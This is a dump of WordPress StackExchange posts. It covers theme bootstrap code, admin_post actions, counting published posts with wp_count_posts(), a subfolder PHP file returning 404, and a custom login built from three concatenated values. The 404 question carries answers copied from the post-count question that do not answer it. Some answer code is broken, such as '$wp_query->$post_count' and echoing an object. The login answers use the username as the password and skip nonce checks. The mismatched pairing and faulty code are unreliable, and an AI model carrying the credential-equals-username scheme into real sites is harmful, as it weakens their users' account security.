exit; } ?><?php define ('THEME_NAME', 'Sahifa' ); define ('THEME_FOLDER', 'sahifa' ); define ('THEME_VER', '5.3.0' ); //DB Theme Version define( 'NOTIFIER_XML_FILE', "http://themes.tielabs.com/xml/".THEME_FOLDER.".xml" ); define( 'NOTIFIER_CHANGELOG_URL', "http://tielabs.com/changelogs/?id=2819356" ); define( 'DOCUMENTATION_URL', "http://themes.tielabs.com/docs/".THEME_FOLDER ); if ( ! isset( $content_width ) ) $content_width = 618; // Main Functions require_once ( get_template_directory() . '/framework/functions/theme-functions.php'); require_once ( get_template_directory() . '/framework/functions/common-scripts.php' ); require_once ( get_template_directory() . '/framework/functions/mega-menus.php' ); require_once ( get_template_directory() . '/framework/functions/pagenavi.php' ); require_once ( get_template_directory() . '/framework/functions/breadcrumbs.php' ); require_once ( get_template_directory() . '/framework/functions/tie-views.php' ); require_once ( get_template_directory() . '/framework/functions/translation.php' ); require_once ( get_template_directory() . '/framework/widgets.php' ); require_once ( get_template_directory() . '/framework/admin/framework-admin.php' ); require_once ( get_template_directory() . '/framework/shortcodes/shortcodes.php' ); if( tie_get_option( 'live_search' ) ) require_once ( get_template_directory() . '/framework/functions/search-live.php'); if( !tie_get_option( 'disable_arqam_lite' ) ) require_once ( get_template_directory() . '/framework/functions/arqam-lite.php'); ?> ``` For your help i say a lot of thank for you...
The solution is in fact very simple. Just use the action admin\_post\_(action)... ``` add_action( 'admin_post_export_page', 'export_page' ); function export_page() { // any code you want } ``` than you can make custom links admin\_url( 'admin-post.php?action=export\_page&id=' . $post->ID ); Thanks Milo for giving the solution.
266,716
<p>Using a search filter plugin. I am using to get the total number of posts that exist in the database</p> <pre><code> $wp_query-&gt;found_posts </code></pre> <p>However, when a user filters the results on the page, this number changes according to how many posts are shown on the filter. </p> <p>How could I get the static total number of posts which wouldn't change irrespective of what the user filters?</p> <hr> <p>Update: This is my complete template code. I tried the answers below but couldn't make it work with my template. Any ideas?</p> <pre><code>if ( $query-&gt;have_posts() ) { ?&gt; &lt;ul id="florefs"&gt; &lt;?php while ($query-&gt;have_posts()) { $query-&gt;the_post(); ?&gt; &lt;li&gt;&lt;a href="&lt;?php the_permalink(); ?&gt;" title="&lt;?php the_title(); ?&gt;"&gt;&lt;i class="x-icon florex x-icon-angle-right" data-x-icon="" aria-hidden="true"&gt;&lt;/i&gt;&amp;nbsp;&lt;?php the_field('br_name'); ?&gt;&lt;/a&gt; &lt;div id="flosex"&gt;&lt;span class="fimi"&gt;&lt;?php the_field('br_category'); ?&gt;&lt;/span&gt;&lt;span class="flag &lt;?php echo strtolower(get_field('br_heritage')); ?&gt;"&gt;&lt;/span&gt;&lt;span class="fama"&gt;&lt;?php the_field('br_heritage'); ?&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt; &lt;?php } ?&gt; &lt;/ul&gt; &lt;div class="filhead"&gt;Page &lt;?php echo $query-&gt;query['paged']; ?&gt; of &lt;?php echo $query-&gt;max_num_pages; ?&gt;&lt;/div&gt; &lt;div class="pagination"&gt; &lt;div class="nav-next"&gt;&lt;?php previous_posts_link( '&lt;i class="x-icon x-icon-arrow-left" data-x-icon="" aria-hidden="true"&gt;&lt;/i&gt; Previous page' ); ?&gt;&lt;/div&gt; &lt;div class="nav-previous"&gt;&lt;?php next_posts_link( 'Next page &lt;i class="x-icon x-icon-arrow-right" data-x-icon="" aria-hidden="true"&gt;&lt;/i&gt;', $query-&gt;max_num_pages ); ?&gt;&lt;/div&gt; &lt;?php /* example code for using the wp_pagenavi plugin */ if (function_exists('wp_pagenavi')) { echo "&lt;br /&gt;"; wp_pagenavi( array( 'query' =&gt; $query ) ); } ?&gt; &lt;/div&gt; &lt;div id="prasti"&gt;&lt;span class="prase"&gt;PROBLEM HERE&lt;/span&gt;&lt;span class="praso"&gt;&lt;?php echo $query-&gt;found_posts; ?&gt;&lt;/span&gt;&lt;span class="prasif"&gt;NEEDS&lt;/span&gt;&lt;span class="prasi"&gt;CHANGE&lt;/span&gt;&lt;/div&gt; &lt;?php } else { echo "There are no results for your selected criteria."; } ?&gt; </code></pre>
[ { "answer_id": 266725, "author": "Sam", "author_id": 115586, "author_profile": "https://wordpress.stackexchange.com/users/115586", "pm_score": 0, "selected": false, "text": "<p>The $wp_query->$found_posts will change once you have filtered as the plugin might be changing the query so found_post will change each time.</p>\n\n<pre><code>$wp_query-&gt;$post_count\n// The number of posts being displayed.\n$wp_query-&gt;$found_posts\n// The total number of posts found matching the current query parameters\n\n// Total post amount in database\n$count_posts = wp_count_posts();\n// Total post amount in database of custom post type called cars\n// $count_posts = wp_count_posts('cars');\n// Total count of the published amount of above\n$published_posts = $count_posts-&gt;publish;\n</code></pre>\n\n<p>Your code below should be</p>\n\n<pre><code>if ( $query-&gt;have_posts() )\n{\n ?&gt;\n&lt;ul id=\"florefs\"&gt;\n &lt;?php\n while ($query-&gt;have_posts())\n {\n $query-&gt;the_post();\n\n ?&gt;\n\n &lt;li&gt;&lt;a href=\"&lt;?php the_permalink(); ?&gt;\" title=\"&lt;?php the_title(); ?&gt;\"&gt;&lt;i class=\"x-icon florex x-icon-angle-right\" data-x-icon=\"\" aria-hidden=\"true\"&gt;&lt;/i&gt;&amp;nbsp;&lt;?php the_field('br_name'); ?&gt;&lt;/a&gt;\n &lt;div id=\"flosex\"&gt;&lt;span class=\"fimi\"&gt;&lt;?php the_field('br_category'); ?&gt;&lt;/span&gt;&lt;span class=\"flag &lt;?php echo strtolower(get_field('br_heritage')); ?&gt;\"&gt;&lt;/span&gt;&lt;span class=\"fama\"&gt;&lt;?php the_field('br_heritage'); ?&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;\n\n &lt;?php\n }\n ?&gt;\n&lt;/ul&gt;\n &lt;div class=\"filhead\"&gt;Page &lt;?php echo $query-&gt;query['paged']; ?&gt; of &lt;?php echo $query-&gt;max_num_pages; ?&gt;&lt;/div&gt;\n\n &lt;div class=\"pagination\"&gt;\n\n &lt;div class=\"nav-next\"&gt;&lt;?php previous_posts_link( '&lt;i class=\"x-icon x-icon-arrow-left\" data-x-icon=\"\" aria-hidden=\"true\"&gt;&lt;/i&gt; Previous page' ); ?&gt;&lt;/div&gt;\n &lt;div class=\"nav-previous\"&gt;&lt;?php next_posts_link( 'Next page &lt;i class=\"x-icon x-icon-arrow-right\" data-x-icon=\"\" aria-hidden=\"true\"&gt;&lt;/i&gt;', $query-&gt;max_num_pages ); ?&gt;&lt;/div&gt;\n\n &lt;?php\n /* example code for using the wp_pagenavi plugin */\n if (function_exists('wp_pagenavi'))\n {\n echo \"&lt;br /&gt;\";\n wp_pagenavi( array( 'query' =&gt; $query ) );\n }\n ?&gt;\n &lt;/div&gt;\n\n&lt;div id=\"prasti\"&gt;&lt;span class=\"prase\"&gt;PROBLEM HERE&lt;/span&gt;&lt;span class=\"praso\"&gt;&lt;?php echo wp_count_posts(); ?&gt;&lt;/span&gt;&lt;span class=\"prasif\"&gt;NEEDS&lt;/span&gt;&lt;span class=\"prasi\"&gt;CHANGE&lt;/span&gt;&lt;/div&gt;\n\n &lt;?php\n}\nelse\n{\n echo \"There are no results for your selected criteria.\";\n}\n?&gt;\n</code></pre>\n" }, { "answer_id": 266743, "author": "hwl", "author_id": 118366, "author_profile": "https://wordpress.stackexchange.com/users/118366", "pm_score": 3, "selected": true, "text": "<blockquote>\n <p>How could I get the static total number of posts which wouldn't change\n irrespective of what the user filters?</p>\n</blockquote>\n\n<p>You may be looking for <code>wp_count_posts()</code>: <a href=\"https://codex.wordpress.org/Function_Reference/wp_count_posts\" rel=\"nofollow noreferrer\">Codex: WP COUNT POSTS</a></p>\n\n<p>Example getting number of all published posts:</p>\n\n<pre><code>function get_all_them_posts(){\n $count_posts = wp_count_posts();\n\n $published_posts = $count_posts-&gt;publish;\n return $published_posts;\n}\n</code></pre>\n\n<p>In template:</p>\n\n<pre><code> &lt;?php echo get_all_them_posts(); ?&gt;\n</code></pre>\n\n<p><strong>For Custom Post Type:</strong></p>\n\n<p>Functions.php:</p>\n\n<pre><code>function get_all_them_cpt_posts(){\n $post_type = 'your_post_type_slug_here';\n $count_posts = wp_count_posts( $post_type );\n\n $published_posts = $count_posts-&gt;publish;\n return $published_posts;\n}\n</code></pre>\n\n<p>In template:</p>\n\n<pre><code> &lt;?php echo get_all_them_cpt_posts(); ?&gt;\n</code></pre>\n\n<p>As noted by <a href=\"https://wordpress.stackexchange.com/users/115586/sam\">Sam</a>, and in <a href=\"https://wordpress.stackexchange.com/a/139622/118366\">this older WPSE answer</a>, <code>$found_posts</code> is in reference to what the query is holding. <code>$post_count</code> is in reference to what is being displayed (often the number set in the posts_per_page parameter). I think <code>wp_count_posts()</code> is what you're looking for though.</p>\n\n<hr>\n\n<h2>For Your Updated Code</h2>\n\n<p>(CPT version above)\nOkay, it would be better to add the first code block to the functions.php of your theme (or child theme if you are using one). This:</p>\n\n<pre><code>function get_all_them_posts(){\n $count_posts = wp_count_posts();\n\n $published_posts = $count_posts-&gt;publish;\n return $published_posts;\n}\n</code></pre>\n\n<p>Then where you wish to have the number of total posts in the template, replace:</p>\n\n<pre><code>&lt;?php echo $query-&gt;found_posts; ?&gt; \n</code></pre>\n\n<p>With:</p>\n\n<pre><code>&lt;?php echo get_all_them_posts(); ?&gt;\n</code></pre>\n\n<p>That line will call the function added to the functions.php\nBy doing it that way, you can use it in other template files without having to rewrite that function every time. \nI hope that helps!</p>\n" } ]
2017/05/12
[ "https://wordpress.stackexchange.com/questions/266716", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/40727/" ]
Using a search filter plugin. I am using to get the total number of posts that exist in the database ``` $wp_query->found_posts ``` However, when a user filters the results on the page, this number changes according to how many posts are shown on the filter. How could I get the static total number of posts which wouldn't change irrespective of what the user filters? --- Update: This is my complete template code. I tried the answers below but couldn't make it work with my template. Any ideas? ``` if ( $query->have_posts() ) { ?> <ul id="florefs"> <?php while ($query->have_posts()) { $query->the_post(); ?> <li><a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"><i class="x-icon florex x-icon-angle-right" data-x-icon="" aria-hidden="true"></i>&nbsp;<?php the_field('br_name'); ?></a> <div id="flosex"><span class="fimi"><?php the_field('br_category'); ?></span><span class="flag <?php echo strtolower(get_field('br_heritage')); ?>"></span><span class="fama"><?php the_field('br_heritage'); ?></span></div></li> <?php } ?> </ul> <div class="filhead">Page <?php echo $query->query['paged']; ?> of <?php echo $query->max_num_pages; ?></div> <div class="pagination"> <div class="nav-next"><?php previous_posts_link( '<i class="x-icon x-icon-arrow-left" data-x-icon="" aria-hidden="true"></i> Previous page' ); ?></div> <div class="nav-previous"><?php next_posts_link( 'Next page <i class="x-icon x-icon-arrow-right" data-x-icon="" aria-hidden="true"></i>', $query->max_num_pages ); ?></div> <?php /* example code for using the wp_pagenavi plugin */ if (function_exists('wp_pagenavi')) { echo "<br />"; wp_pagenavi( array( 'query' => $query ) ); } ?> </div> <div id="prasti"><span class="prase">PROBLEM HERE</span><span class="praso"><?php echo $query->found_posts; ?></span><span class="prasif">NEEDS</span><span class="prasi">CHANGE</span></div> <?php } else { echo "There are no results for your selected criteria."; } ?> ```
> > How could I get the static total number of posts which wouldn't change > irrespective of what the user filters? > > > You may be looking for `wp_count_posts()`: [Codex: WP COUNT POSTS](https://codex.wordpress.org/Function_Reference/wp_count_posts) Example getting number of all published posts: ``` function get_all_them_posts(){ $count_posts = wp_count_posts(); $published_posts = $count_posts->publish; return $published_posts; } ``` In template: ``` <?php echo get_all_them_posts(); ?> ``` **For Custom Post Type:** Functions.php: ``` function get_all_them_cpt_posts(){ $post_type = 'your_post_type_slug_here'; $count_posts = wp_count_posts( $post_type ); $published_posts = $count_posts->publish; return $published_posts; } ``` In template: ``` <?php echo get_all_them_cpt_posts(); ?> ``` As noted by [Sam](https://wordpress.stackexchange.com/users/115586/sam), and in [this older WPSE answer](https://wordpress.stackexchange.com/a/139622/118366), `$found_posts` is in reference to what the query is holding. `$post_count` is in reference to what is being displayed (often the number set in the posts\_per\_page parameter). I think `wp_count_posts()` is what you're looking for though. --- For Your Updated Code --------------------- (CPT version above) Okay, it would be better to add the first code block to the functions.php of your theme (or child theme if you are using one). This: ``` function get_all_them_posts(){ $count_posts = wp_count_posts(); $published_posts = $count_posts->publish; return $published_posts; } ``` Then where you wish to have the number of total posts in the template, replace: ``` <?php echo $query->found_posts; ?> ``` With: ``` <?php echo get_all_them_posts(); ?> ``` That line will call the function added to the functions.php By doing it that way, you can use it in other template files without having to rewrite that function every time. I hope that helps!
266,741
<p>I uploaded a php file in the root directory of my Wordpress site that I need to be able to access directly through the browser. </p> <p>When I do, it looks like Wordpress takes over, triggers a 404, and shows the error page.</p> <p>It only occurs for php files that are one level down from root. I tried viewing a php file in root and it works. I tried with html and txt files in root and in "folder" and I can view them just fine. However when the php file is within "folder" and I try viewing, I get a 404.</p> <p>Any ideas on what's going on? How can I prevent this from happening?</p> <p>The structure is this</p> <p>/root <br> .../folder <br> ....../file-that-throws-404.php <br> .../wp-admin <br> .../wp-content <br> . <br> . <br> . <br></p>
[ { "answer_id": 266725, "author": "Sam", "author_id": 115586, "author_profile": "https://wordpress.stackexchange.com/users/115586", "pm_score": 0, "selected": false, "text": "<p>The $wp_query->$found_posts will change once you have filtered as the plugin might be changing the query so found_post will change each time.</p>\n\n<pre><code>$wp_query-&gt;$post_count\n// The number of posts being displayed.\n$wp_query-&gt;$found_posts\n// The total number of posts found matching the current query parameters\n\n// Total post amount in database\n$count_posts = wp_count_posts();\n// Total post amount in database of custom post type called cars\n// $count_posts = wp_count_posts('cars');\n// Total count of the published amount of above\n$published_posts = $count_posts-&gt;publish;\n</code></pre>\n\n<p>Your code below should be</p>\n\n<pre><code>if ( $query-&gt;have_posts() )\n{\n ?&gt;\n&lt;ul id=\"florefs\"&gt;\n &lt;?php\n while ($query-&gt;have_posts())\n {\n $query-&gt;the_post();\n\n ?&gt;\n\n &lt;li&gt;&lt;a href=\"&lt;?php the_permalink(); ?&gt;\" title=\"&lt;?php the_title(); ?&gt;\"&gt;&lt;i class=\"x-icon florex x-icon-angle-right\" data-x-icon=\"\" aria-hidden=\"true\"&gt;&lt;/i&gt;&amp;nbsp;&lt;?php the_field('br_name'); ?&gt;&lt;/a&gt;\n &lt;div id=\"flosex\"&gt;&lt;span class=\"fimi\"&gt;&lt;?php the_field('br_category'); ?&gt;&lt;/span&gt;&lt;span class=\"flag &lt;?php echo strtolower(get_field('br_heritage')); ?&gt;\"&gt;&lt;/span&gt;&lt;span class=\"fama\"&gt;&lt;?php the_field('br_heritage'); ?&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;\n\n &lt;?php\n }\n ?&gt;\n&lt;/ul&gt;\n &lt;div class=\"filhead\"&gt;Page &lt;?php echo $query-&gt;query['paged']; ?&gt; of &lt;?php echo $query-&gt;max_num_pages; ?&gt;&lt;/div&gt;\n\n &lt;div class=\"pagination\"&gt;\n\n &lt;div class=\"nav-next\"&gt;&lt;?php previous_posts_link( '&lt;i class=\"x-icon x-icon-arrow-left\" data-x-icon=\"\" aria-hidden=\"true\"&gt;&lt;/i&gt; Previous page' ); ?&gt;&lt;/div&gt;\n &lt;div class=\"nav-previous\"&gt;&lt;?php next_posts_link( 'Next page &lt;i class=\"x-icon x-icon-arrow-right\" data-x-icon=\"\" aria-hidden=\"true\"&gt;&lt;/i&gt;', $query-&gt;max_num_pages ); ?&gt;&lt;/div&gt;\n\n &lt;?php\n /* example code for using the wp_pagenavi plugin */\n if (function_exists('wp_pagenavi'))\n {\n echo \"&lt;br /&gt;\";\n wp_pagenavi( array( 'query' =&gt; $query ) );\n }\n ?&gt;\n &lt;/div&gt;\n\n&lt;div id=\"prasti\"&gt;&lt;span class=\"prase\"&gt;PROBLEM HERE&lt;/span&gt;&lt;span class=\"praso\"&gt;&lt;?php echo wp_count_posts(); ?&gt;&lt;/span&gt;&lt;span class=\"prasif\"&gt;NEEDS&lt;/span&gt;&lt;span class=\"prasi\"&gt;CHANGE&lt;/span&gt;&lt;/div&gt;\n\n &lt;?php\n}\nelse\n{\n echo \"There are no results for your selected criteria.\";\n}\n?&gt;\n</code></pre>\n" }, { "answer_id": 266743, "author": "hwl", "author_id": 118366, "author_profile": "https://wordpress.stackexchange.com/users/118366", "pm_score": 3, "selected": true, "text": "<blockquote>\n <p>How could I get the static total number of posts which wouldn't change\n irrespective of what the user filters?</p>\n</blockquote>\n\n<p>You may be looking for <code>wp_count_posts()</code>: <a href=\"https://codex.wordpress.org/Function_Reference/wp_count_posts\" rel=\"nofollow noreferrer\">Codex: WP COUNT POSTS</a></p>\n\n<p>Example getting number of all published posts:</p>\n\n<pre><code>function get_all_them_posts(){\n $count_posts = wp_count_posts();\n\n $published_posts = $count_posts-&gt;publish;\n return $published_posts;\n}\n</code></pre>\n\n<p>In template:</p>\n\n<pre><code> &lt;?php echo get_all_them_posts(); ?&gt;\n</code></pre>\n\n<p><strong>For Custom Post Type:</strong></p>\n\n<p>Functions.php:</p>\n\n<pre><code>function get_all_them_cpt_posts(){\n $post_type = 'your_post_type_slug_here';\n $count_posts = wp_count_posts( $post_type );\n\n $published_posts = $count_posts-&gt;publish;\n return $published_posts;\n}\n</code></pre>\n\n<p>In template:</p>\n\n<pre><code> &lt;?php echo get_all_them_cpt_posts(); ?&gt;\n</code></pre>\n\n<p>As noted by <a href=\"https://wordpress.stackexchange.com/users/115586/sam\">Sam</a>, and in <a href=\"https://wordpress.stackexchange.com/a/139622/118366\">this older WPSE answer</a>, <code>$found_posts</code> is in reference to what the query is holding. <code>$post_count</code> is in reference to what is being displayed (often the number set in the posts_per_page parameter). I think <code>wp_count_posts()</code> is what you're looking for though.</p>\n\n<hr>\n\n<h2>For Your Updated Code</h2>\n\n<p>(CPT version above)\nOkay, it would be better to add the first code block to the functions.php of your theme (or child theme if you are using one). This:</p>\n\n<pre><code>function get_all_them_posts(){\n $count_posts = wp_count_posts();\n\n $published_posts = $count_posts-&gt;publish;\n return $published_posts;\n}\n</code></pre>\n\n<p>Then where you wish to have the number of total posts in the template, replace:</p>\n\n<pre><code>&lt;?php echo $query-&gt;found_posts; ?&gt; \n</code></pre>\n\n<p>With:</p>\n\n<pre><code>&lt;?php echo get_all_them_posts(); ?&gt;\n</code></pre>\n\n<p>That line will call the function added to the functions.php\nBy doing it that way, you can use it in other template files without having to rewrite that function every time. \nI hope that helps!</p>\n" } ]
2017/05/12
[ "https://wordpress.stackexchange.com/questions/266741", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119576/" ]
I uploaded a php file in the root directory of my Wordpress site that I need to be able to access directly through the browser. When I do, it looks like Wordpress takes over, triggers a 404, and shows the error page. It only occurs for php files that are one level down from root. I tried viewing a php file in root and it works. I tried with html and txt files in root and in "folder" and I can view them just fine. However when the php file is within "folder" and I try viewing, I get a 404. Any ideas on what's going on? How can I prevent this from happening? The structure is this /root .../folder ....../file-that-throws-404.php .../wp-admin .../wp-content . . .
> > How could I get the static total number of posts which wouldn't change > irrespective of what the user filters? > > > You may be looking for `wp_count_posts()`: [Codex: WP COUNT POSTS](https://codex.wordpress.org/Function_Reference/wp_count_posts) Example getting number of all published posts: ``` function get_all_them_posts(){ $count_posts = wp_count_posts(); $published_posts = $count_posts->publish; return $published_posts; } ``` In template: ``` <?php echo get_all_them_posts(); ?> ``` **For Custom Post Type:** Functions.php: ``` function get_all_them_cpt_posts(){ $post_type = 'your_post_type_slug_here'; $count_posts = wp_count_posts( $post_type ); $published_posts = $count_posts->publish; return $published_posts; } ``` In template: ``` <?php echo get_all_them_cpt_posts(); ?> ``` As noted by [Sam](https://wordpress.stackexchange.com/users/115586/sam), and in [this older WPSE answer](https://wordpress.stackexchange.com/a/139622/118366), `$found_posts` is in reference to what the query is holding. `$post_count` is in reference to what is being displayed (often the number set in the posts\_per\_page parameter). I think `wp_count_posts()` is what you're looking for though. --- For Your Updated Code --------------------- (CPT version above) Okay, it would be better to add the first code block to the functions.php of your theme (or child theme if you are using one). This: ``` function get_all_them_posts(){ $count_posts = wp_count_posts(); $published_posts = $count_posts->publish; return $published_posts; } ``` Then where you wish to have the number of total posts in the template, replace: ``` <?php echo $query->found_posts; ?> ``` With: ``` <?php echo get_all_them_posts(); ?> ``` That line will call the function added to the functions.php By doing it that way, you can use it in other template files without having to rewrite that function every time. I hope that helps!
266,752
<p>I have a situation where I need to authenticate users with three values (as opposed to a single <code>USERNAME</code> value. Let's call them <code>VALUE1</code>, <code>VALUE2</code>, <code>VALUE3</code>. They will not be asked for a specific <code>PASSWORD</code>.</p> <p>I looked into modifying the login routine such that it requests three values, and authenticates the user based on those three values (similar to what's described <a href="https://wordpress.stackexchange.com/a/45903">here</a>). But because Wordpress needs a unique <code>USERNAME</code> field and one of the values entered in the login page will effectively need to be the <code>USERNAME</code>, this won't work, simple because none of the three values are unique in their own right. What's unique is the combination of all three values.</p> <p>This lead to the idea that the <code>USERNAME</code> stored in WP could be a value derived from concatenating the three values I require (<code>VALUE1</code>, <code>VALUE2</code>, <code>VALUE3</code>). So the <code>USERNAME</code> will be <code>VALUE1VALUE2VALUE3</code>.</p> <p>I would also use this concatenated value as the <code>PASSWORD</code>, because I don't require the user to enter a separate password if they know the three values I am requesting.</p> <h3>QUESTION 1</h3> <p>My first question is whether or not the above rationale is accurate? Is it true that even if I add additional fields to the login routine, one of those fields will need to correspond to the <code>USERNAME</code> value, and that value will need to be unique?</p> <h3>QUESTION 2</h3> <p>If the above is correct, then my next question is how would I go about creating a login form that requests three fields (plus the password), and concatenates those fields into one value that is authenticated against the <code>USERNAME</code>?</p> <h3>For example</h3> <p>The custom login page will request the following:</p> <p><code>VALUE1</code>, <code>VALUE2</code>, <code>VALUE3</code></p> <p>It will then concatenate those into <code>VALUE1VALUE2VALUE3</code> and pass that to the standard WP login routine as the <code>USERNAME</code> and <code>PASSWORD</code> values.</p> <hr /> <p>Obviously, I'd want to achieve all this without modifying core files. The site has a child theme, so it can all be done within there.</p>
[ { "answer_id": 266826, "author": "hwl", "author_id": 118366, "author_profile": "https://wordpress.stackexchange.com/users/118366", "pm_score": 1, "selected": false, "text": "<p>If you create the user by passing the values entered to a function that combines them, then you can call it from another that calls <code>wp_insert_user</code>. Then you can save the username/pass as needed, and use the same function and form when preparing them for WP to check on log-in.\nAll of the code below is intended for demonstration only. Can't stress that enough. Definitely look into nonce and validating registration.</p>\n\n<p>Again, this is <strong>ONLY a demo of the idea</strong> to point in the general direction. </p>\n\n<pre><code>&lt;form&gt;\n &lt;input type=\"text\" name\"value1\" /&gt;\n &lt;input type=\"text\" name\"value2\" /&gt;\n &lt;input type=\"text\" name\"value3\" /&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p>Then we have a function to handle the combining of the entries:</p>\n\n<pre><code>&lt;?php \nfunction getting_posted_values() {\n if(isset($_POST['value1']) &amp;&amp; (isset($_POST['value2']) &amp;&amp; (isset($_POST['value3']) {\n $value1 = $_POST['value1'];\n $value2 = $_POST['value2'];\n $value3 = $_POST['value3'];\n $new_value = $value1 . $value2 . $value3;\n }\n return $new_value;\n }\n</code></pre>\n\n<p>Then a hooked function - (for instance if you used Contact Form 7 to manage the form, you could hook <code>wpcf7_before_send_mail</code> and get access to the post object.) - could call the function below and build the new user:</p>\n\n<pre><code>function build_a_new_user($posted_form) {\n $new_value = getting_posted_values($posted_form);\n $userdata = array(\n 'user_login' =&gt; $new_value,\n 'user_pass' =&gt; $new_value, //normally: wp_generate_password( 12, false );\n 'user_email' =&gt; //note: not sure but may be required?\n 'nickname' =&gt; $new_value,\n 'display_name' =&gt; $new_value,\n 'first_name' =&gt; $new_value,\n 'last_name' =&gt; $new_value,\n 'role' =&gt; 'subscriber'\n );\n wp_insert_user($userdata);\n\n}\n</code></pre>\n\n<p><a href=\"https://codex.wordpress.org/Function_Reference/wp_insert_user\" rel=\"nofollow noreferrer\">wp_insert_user() is documented here</a>.</p>\n\n<p><a href=\"https://codex.wordpress.org/Customizing_the_Registration_Form\" rel=\"nofollow noreferrer\">More on handling custom registration here.</a></p>\n\n<h2>For Logging In</h2>\n\n<p>Your form with values 1,2,3 would run getting_post_values again by being called within another function that is hooked to log in somehow. Perhaps the <a href=\"https://core.trac.wordpress.org/browser/tags/4.7.3/src/wp-includes/general-template.php#L0\" rel=\"nofollow noreferrer\"><code>login_form_defaults</code> filter</a> that can edit the args array for the form. The follow is complete speculation as a <strong>non-working example</strong>.</p>\n\n<p>But the idea is that if you can pass those values to WP's normal process (perhaps via the <code>authenticate</code> filter mentioned in your linked example?) as the user/pass, you can forgo doing the checking yourself. </p>\n\n<pre><code>function log_in_handler($posted_form) {\n $pass_and_username = getting_posted_values($posted_form);\n $args_array = array(\n 'username_id' =&gt; $pass_and_username, \n 'password' =&gt; $pass_and_username); \n}\n</code></pre>\n\n<p>It's definitely an interesting endeavor. Hope that helps. </p>\n" }, { "answer_id": 268497, "author": "omega33", "author_id": 11064, "author_profile": "https://wordpress.stackexchange.com/users/11064", "pm_score": 1, "selected": true, "text": "<p>Here is what ended up working. In case this is of use to someone wishing to do something similar.</p>\n\n<p>We created a custom template in the child theme.</p>\n\n<p>The final concatenated value is used as the USERNAME and the PASSWORD.</p>\n\n<p>Assuming all other necessary code for a typical custom page template is utilised, I'll just post the beginning of my custom page template file:</p>\n\n<pre><code>&lt;?php\n /**\n Template Name: Custom Login Page\n */\n if ( is_user_logged_in() ) {\n wp_redirect( LOGIN_REDIRECT ); // LOGIN_REDIRECT is set in the config.php file.\n }\n $WP_Error = new WP_Error();\n\n if(isset($_POST['form-action']) &amp;&amp; $_POST['form-action']=='login') {\n $VALUE1 = trim($_POST['log-sname']);\n $VALUE1 = preg_replace(\"/[^A-Za-z0-9\\- ']/\", '', $VALUE1);\n $VALUE2 = $_POST['VALUE2'];\n $VALUE3 = $_POST['VALUE3'];\n $usernm = strtoupper(trim($VALUE1)).$VALUE2.$VALUE3;\n $passwd = strtoupper(trim($VALUE1)).$VALUE2.$VALUE3;\n $login_data = array();\n $login_data['user_login'] = $usernm;\n $login_data['user_password'] = $passwd;\n $login_data['remember'] = false;\n $user_verify = wp_signon( $login_data, false ); \n if ( is_wp_error($user_verify) ) \n {\n $WP_Error-&gt;add('my_error', '&lt;p align=\"center\"&gt;We were unable to validate your user credentials. ETC ETC... error message instructions ETC&lt;/p&gt;');\n } else { \n wp_redirect( LOGIN_REDIRECT ); // LOGIN_REDIRECT is set in the config.php file.\n exit();\n }\n }\n</code></pre>\n\n<p>That's what handles the login. After that comes the header..</p>\n\n<pre><code> get_header(); ?&gt;\n</code></pre>\n\n<p>After that is the standard PHP for the loop, etc., plus some code to display the error, if one is generated:</p>\n\n<pre><code>&lt;div id=\"primary\" &lt;?php PARENT_THEME_SPECIFIC_content_class( 'content-area' ); ?&gt; &gt; // use content_class suitable to your theme scenario\n &lt;main id=\"main\" class=\"site-main\" role=\"main\"&gt;\n &lt;?php while ( have_posts() ) : the_post(); ?&gt;\n &lt;?php get_template_part( 'template-parts/content', 'page' ); ?&gt;\n &lt;?php endwhile; // End of the loop. ?&gt;\n &lt;?php echo $WP_Error-&gt;errors['my_error'][0]; ?&gt;\n</code></pre>\n\n<p>, and then a form which gathers VALUE1, VALUE2, and VALUE3. The post action is set to <code>\"\"</code>. Here's the <code>form</code> declaration: </p>\n\n<p></p>\n\n<p>Close off with inserting the footer, and whatever else might be wanted.</p>\n\n<p>That's about it.</p>\n" } ]
2017/05/13
[ "https://wordpress.stackexchange.com/questions/266752", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/11064/" ]
I have a situation where I need to authenticate users with three values (as opposed to a single `USERNAME` value. Let's call them `VALUE1`, `VALUE2`, `VALUE3`. They will not be asked for a specific `PASSWORD`. I looked into modifying the login routine such that it requests three values, and authenticates the user based on those three values (similar to what's described [here](https://wordpress.stackexchange.com/a/45903)). But because Wordpress needs a unique `USERNAME` field and one of the values entered in the login page will effectively need to be the `USERNAME`, this won't work, simple because none of the three values are unique in their own right. What's unique is the combination of all three values. This lead to the idea that the `USERNAME` stored in WP could be a value derived from concatenating the three values I require (`VALUE1`, `VALUE2`, `VALUE3`). So the `USERNAME` will be `VALUE1VALUE2VALUE3`. I would also use this concatenated value as the `PASSWORD`, because I don't require the user to enter a separate password if they know the three values I am requesting. ### QUESTION 1 My first question is whether or not the above rationale is accurate? Is it true that even if I add additional fields to the login routine, one of those fields will need to correspond to the `USERNAME` value, and that value will need to be unique? ### QUESTION 2 If the above is correct, then my next question is how would I go about creating a login form that requests three fields (plus the password), and concatenates those fields into one value that is authenticated against the `USERNAME`? ### For example The custom login page will request the following: `VALUE1`, `VALUE2`, `VALUE3` It will then concatenate those into `VALUE1VALUE2VALUE3` and pass that to the standard WP login routine as the `USERNAME` and `PASSWORD` values. --- Obviously, I'd want to achieve all this without modifying core files. The site has a child theme, so it can all be done within there.
